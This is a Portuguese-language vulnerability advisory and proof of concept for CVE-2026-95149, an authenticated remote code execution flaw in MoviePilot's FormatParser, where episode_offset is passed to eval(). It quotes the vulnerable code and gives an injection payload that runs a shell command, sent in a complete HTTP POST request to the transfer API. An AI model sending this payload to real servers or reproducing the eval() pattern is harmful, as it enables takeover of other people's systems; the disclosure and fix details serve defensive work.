
Prova de conceito e análise de causa raiz para CVE-2026-95149, uma RCE autenticada no FormatParser do MoviePilot por meio de injeção via eval() em episode_offset, com PoC HTTP e detalhes da correção.
eval() em episode_offset (MoviePilot FormatParser)| Campo | Valor |
|---|---|
| ID da CVE | CVE-2026-95149 |
| Produto | MoviePilot (jxxghp/MoviePilot) |
| Versões afetadas | <= v3.0.0 |
| Corrigido em | branch v3 — commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| Severidade | Alta |
| Vetor de ataque | Remoto, pela API HTTP |
| Privilégios necessários | Usuário de gerenciamento autenticado (conta admin ou com função de gerenciamento) |
| Interação do usuário | Nenhuma |
| Reportado | 2026-09-11 |
| Issue pública | jxxghp/MoviePilot#6644 |
FormatParser aceita uma string arbitrária e só ramifica conforme ela contenha ou não "EP" — nunca valida se
o restante da string é uma expressão aritmética bem formada:
elif "EP" in offset:
self.__offset = offset
Vários ramos posteriores então constroem uma expressão Python por substituição textual e a avaliam diretamente:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
O invólucro int(...) apenas restringe o valor de retorno da expressão; ele não impede efeitos colaterais que
ocorrem durante a avaliação. Qualquer chamada de função, import ou acesso a atributo embutido no payload, portanto,
executa antes que o valor final seja convertido para int.
Uma tentativa comum de mitigação é multiplicar o payload por zero para que o resultado aritmético permaneça numérico:
EP+__import__('os').system('touch /tmp/success')*0
Isso ainda funciona. O efeito colateral (disparar o comando) acontece durante a avaliação, muito antes de a
adição final ser convertida para int, então o atacante acaba obtendo tanto a execução de comando quanto um
valor que passa na verificação de tipo do int().
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
Em uma instância vulnerável, /tmp/success é criado pelo processo do serviço MoviePilot. Se a chamada à API não
retornar 200, a conversão int() lançará uma exceção — mas o comando injetado já foi executado, então o
resultado da requisição é irrelevante para o exploit.
app/application/formatting.py (linhas 102 e 184 na v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302